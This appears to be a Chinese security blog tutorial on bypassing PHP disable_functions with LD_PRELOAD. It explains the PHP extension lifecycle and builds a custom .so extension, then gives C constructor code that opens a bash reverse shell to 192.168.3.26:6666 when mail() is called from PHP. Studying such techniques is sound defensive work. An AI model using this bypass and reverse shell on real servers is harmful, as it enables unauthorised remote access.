LD_PRELOAD
是linux的环境变量,可以设置一个指定库的路径,常被用来Passby Disable_functions,本文将从php扩展和php内核的交互来解释php编写自定义扩展的整个过程
php的生命周期有五个阶段:
1、模块初始化
此阶段主要注册php和zend引擎的扩展,还有将常量注册到EG(zend_constants),全局变量注册到CG(auto_globals),同时掉用php扩展的PHP_MINT()
2、请求初始化
初始化php脚本的基本执行环境,调用php扩展的PHP_RINT()
3、执行php脚本
将php编译成opcode码,然后再用zend引擎执行
编译过程流程图:
4、请求结束
清理EG(symbol_table),销毁全局变量PG(http_globals),调用析构函数和各种扩展的RSHUTDOWN函数,关闭编译器和执行器,关闭内存管理器
5、模块关闭
清理持久化符号标,调用各扩展的MSHUTDOWN,清理扩展globals,注销扩展提供的函数
php整个扩展的加载就在模块初始化阶段,而整个扩展的加载过程又有以下步骤
使用dlopen()函数来打开so库文件,并返回句柄给dlsym()
dlsym()函数来获取动态库中get_module()
函数地址
调用get_module()
函数来获取扩展的zend_module_entry
结构
zend api版本号检查,看是否是当前php版本下适用的扩展
注册扩展,将扩展添加到module_registry
中
如果扩展有内部函数,将内部函数注册到EG(function_table)中
Config.m4是扩展的编译配置文件,它被include到configure.in文件中,最终被autoconf编译为configure。
以下是一个简单的扩展配置模版:
PHP_ARG_ENABLE(扩展名称, for mytest support, Make sure that the comment is aligned: [ --with-扩展名称 Include xxx support]) if test "$PHP_扩展名称" != "no"; then PHP_NEW_EXTENSION(扩展名称, 源码文件列表, $ext_shared,, -DZEND_ENABLE_STATIC_TSRMLS_CACHE=1) fi
下面是我自己实验的config.m4文件:
PHP_ARG_ENABLE(php_knight, Whether to enable the KnightPHP extension, [ --enable-knight-php Enable KnightPHP])//扩展名可以和函数名不同 if test "$PHP_KNIGHT" != "no"; then PHP_NEW_EXTENSION(php_knight, php_knight.c, $ext_shared) fi
php_knight.h
// 定义模块常量 #define PHP_KNIGHT_EXTNAME "php_knight" #define PHP_KNIGHT_VERSION "0.0.1" // 声明模块的函数功能 PHP_FUNCTION(knight_php);//此处是你想要生成的扩展函数
Php_knight.c
//包含php.h文件 #include <php.h> // 包含扩展文件 #include "php_knight.h" // 将函数注册到php中,让php知道本模块中所包含的函数 zend_function_entry knight_php_functions[] = { //此处要是 函数名_functions[] PHP_FE(knight_php, NULL)//此处为函数名 {NULL, NULL, NULL} }; // 关于整个模块的详细信息 zend_module_entry knight_php_module_entry = //结构体的格式是 函数名_module_entry STANDARD_MODULE_HEADER,//宏统一设置 PHP_KNIGHT_EXTNAME,//扩展名称 knight_php_functions,//扩展的内部函数 NULL, NULL, NULL, NULL, NULL, PHP_KNIGHT_VERSION,//扩展版本 STANDARD_MODULE_PROPERTIES//宏统一设置 }; // 提供一个接口给php来获取zend_module_entry ZEND_GET_MODULE(knight_php) //下面就是函数的编写了,可以使用c语言来执行RCE了 PHP_FUNCTION(knight_php) { php_printf("Hello World! \n"); }
先安装php-dev,而后安装phpize,装好后直接在当前目录执行phpize
phpize主要是操作复杂的autoconf/automake/autoheader/autolocal等系列命令,用于生成configure文件
然后执行./configure --enable-php-knight
提供给configure.in获取配置,生成Makefile
接着就是make
和make install
,在执行完这些命令后,就会在目录下生成一个php_knight.so文件了。
编写php代码
<?php putenv("LD_PRELOAD=./php_knight.so"); knight_php();
这样通过访问浏览器,就会返回Hello World!
了
还有一个使用很多的方法
Knight.c
#include<stdlib.h> #include<string.h> #include<stdio.h> __attribute__((__constructor__))//在main()函数之前执行 static void test() { char cmd[0x100]; strcpy(cmd,"bash -i >& /dev/tcp/192.168.3.26/6666 0>&1"); system(cmd); }
然后使用命令gcc knight.c -fPIC -shared -o knight.so
就可以产生so扩展文件了
knight.php
<?php putenv("LD_PRELOAD=./knight.so"); mail('','','','');//调用扩展 ?>
就可以动态加载自己的反弹shell命令了。
此方法相比上面一种方法的局限性就是mail()函数没有被禁用
https://blog.csdn.net/hguisu/article/details/7377153